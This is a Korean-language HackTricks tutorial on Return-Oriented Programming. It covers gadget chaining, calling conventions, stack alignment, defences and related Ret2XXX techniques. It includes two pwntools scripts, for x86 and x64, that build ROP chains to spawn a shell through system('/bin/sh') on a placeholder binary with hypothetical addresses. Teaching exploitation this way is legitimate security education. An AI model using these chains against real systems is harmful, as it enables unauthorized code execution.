ROP - Return Oriented Programing

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

**Return-Oriented Programming (ROP)**은 No-Execute (NX) 또는 **Data Execution Prevention (DEP)**과 같은 보안 조치를 우회하는 데 사용되는 고급 공격 기법입니다. 공격자는 셸코드를 삽입하고 실행하는 대신, 이진 파일이나 로드된 라이브러리에 이미 존재하는 코드 조각인 **"가젯"**을 활용합니다. 각 가젯은 일반적으로 ret 명령으로 끝나며 데이터를 레지스터 간에 이동하거나 산술 연산을 수행하는 등의 작은 작업을 수행합니다. 이러한 가젯을 연결하여 공격자는 임의의 작업을 수행하는 페이로드를 구성하여 NX/DEP 보호를 우회할 수 있습니다.

ROP 작동 방식

  1. 제어 흐름 탈취: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다.

  2. 가젯 체이닝: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출을 위한 인수 설정, 함수 호출 (예: system("/bin/sh")) 및 필요한 정리 또는 추가 작업을 포함할 수 있습니다.

  3. 페이로드 실행: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.

도구

일반적으로 ROPgadget, ropper 또는 pwntools (ROP)를 사용하여 가젯을 찾을 수 있습니다.

x86 예제에서 ROP 체인

x86 (32-bit) 호출 규칙

  • cdecl: 호출자가 스택을 정리합니다. 함수 인수는 스택에 역순으로 푸시됩니다 (오른쪽에서 왼쪽으로). 인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.

  • stdcall: cdecl과 유사하지만 호출된 함수가 스택을 정리합니다.

가젯 찾기

먼저, 이진 파일이나 로드된 라이브러리 내에서 필요한 가젯을 식별했다고 가정해 봅시다. 우리가 관심 있는 가젯은 다음과 같습니다:

  • pop eax; ret: 이 가젯은 스택의 최상위 값을 EAX 레지스터로 팝하고 반환하여 EAX를 제어할 수 있게 합니다.

  • pop ebx; ret: 위와 유사하지만 EBX 레지스터를 위해, EBX를 제어할 수 있게 합니다.

  • mov [ebx], eax; ret: EAX의 값을 EBX가 가리키는 메모리 위치로 이동한 후 반환합니다. 이를 종종 write-what-where 가젯이라고 합니다.

  • 추가로, system() 함수의 주소를 사용할 수 있습니다.

ROP 체인

pwntools를 사용하여 ROP 체인 실행을 위해 스택을 준비합니다. system('/bin/sh')를 실행하도록 목표로 하는 ROP 체인이 다음과 같이 시작하는 방법에 주목하세요:

  1. 정렬 목적을 위한 ret 명령 (선택 사항)

  2. system 함수의 주소 (ASLR 비활성화 및 알려진 libc를 가정, 자세한 정보는 Ret2lib 참조)

  3. system()에서의 반환 주소를 위한 자리 표시자

  4. "/bin/sh" 문자열 주소 (system 함수의 매개변수)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64(64비트) 호출 규약

  • 유닉스류 시스템에서는 System V AMD64 ABI 호출 규약을 사용하며, 첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인자는 레지스터 RDI, RSI, RDX, RCX, R8, 그리고 R9에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 RAX에 배치됩니다.

  • Windows x64 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대해 RCX, RDX, R8, 그리고 R9를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 RAX에 배치됩니다.

  • 레지스터: 64비트 레지스터에는 RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, 그리고 R8부터 R15까지가 포함됩니다.

가젯 찾기

우리의 목적을 위해, RDI 레지스터를 설정하고(system() 함수에 "/bin/sh" 문자열을 전달하기 위함) system() 함수를 호출할 수 있는 가젯에 집중해봅시다. 다음 가젯들을 식별했다고 가정해봅시다:

  • pop rdi; ret: 스택의 최상위 값을 RDI로 팝하고 반환합니다. **system()**에 대한 인자 설정에 필수적입니다.

  • ret: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다.

그리고 system() 함수의 주소를 알고 있다고 가정합니다.

ROP Chain

아래는 pwntools를 사용하여 x64에서 **system('/bin/sh')**를 실행하기 위한 ROP 체인을 설정하고 실행하는 예시입니다:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

스택 정렬

x86-64 ABIcall 명령어가 실행될 때 스택이 16바이트 정렬되어 있음을 보장합니다. LIBC는 성능을 최적화하기 위해 SSE 명령어(예: movaps)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(RSP가 16의 배수가 아닌 경우), system과 같은 함수 호출이 ROP chain에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 system을 호출하기 전에 ret gadget을 추가하면 됩니다.

x86 대 x64 주요 차이점

x64는 처음 몇 개의 인수에 레지스터를 사용하기 때문에 간단한 함수 호출에는 x86보다 적은 수의 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수가 증가하고 주소 공간이 더 커지기 때문에 더 복잡할 수 있습니다. x64 아키텍처의 증가한 레지스터 수와 더 큰 주소 공간은 주로 Return-Oriented Programming (ROP)의 맥락에서 취약점 개발에 대한 기회와 도전을 제공합니다.

ARM64 예제의 ROP chain

ARM64 기본 사항 및 호출 규칙

이 정보를 확인하려면 다음 페이지를 참조하십시오:

pageIntroduction to ARM64v8

ROP에 대한 보호

  • ASLR & PIE: 이러한 보호 기능은 가젯의 주소가 실행 사이에 변경되므로 ROP 사용이 어려워집니다.

  • 스택 카나리: BOF에서는 ROP chain을 악용하기 위해 저장된 스택 카나리를 우회하여 반환 포인터를 덮어쓰는 것이 필요합니다.

  • 가젯 부족: 충분한 가젯이 없으면 ROP chain을 생성할 수 없습니다.

ROP 기반 기술

ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세요. ROP를 기반으로 한 Ret2XXX 기술이 개발되었습니다:

  • Ret2lib: 로드된 라이브러리에서 임의의 매개변수(일반적으로 system('/bin/sh')와 같은 것)를 사용하여 임의의 함수를 호출하기 위해 ROP를 사용합니다.

pageRet2lib
  • Ret2Syscall: 시스템 호출(e.g. execve)을 준비하고 임의의 명령을 실행하기 위해 ROP를 사용합니다.

pageRet2syscall
  • EBP2Ret 및 EBP Chaining: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 여기서는 주로 EBP 주소를 통해 흐름을 제어합니다(물론 EIP를 제어해야 합니다).

pageStack Pivoting - EBP2Ret - EBP chaining

기타 예제 및 참고 자료

Last updated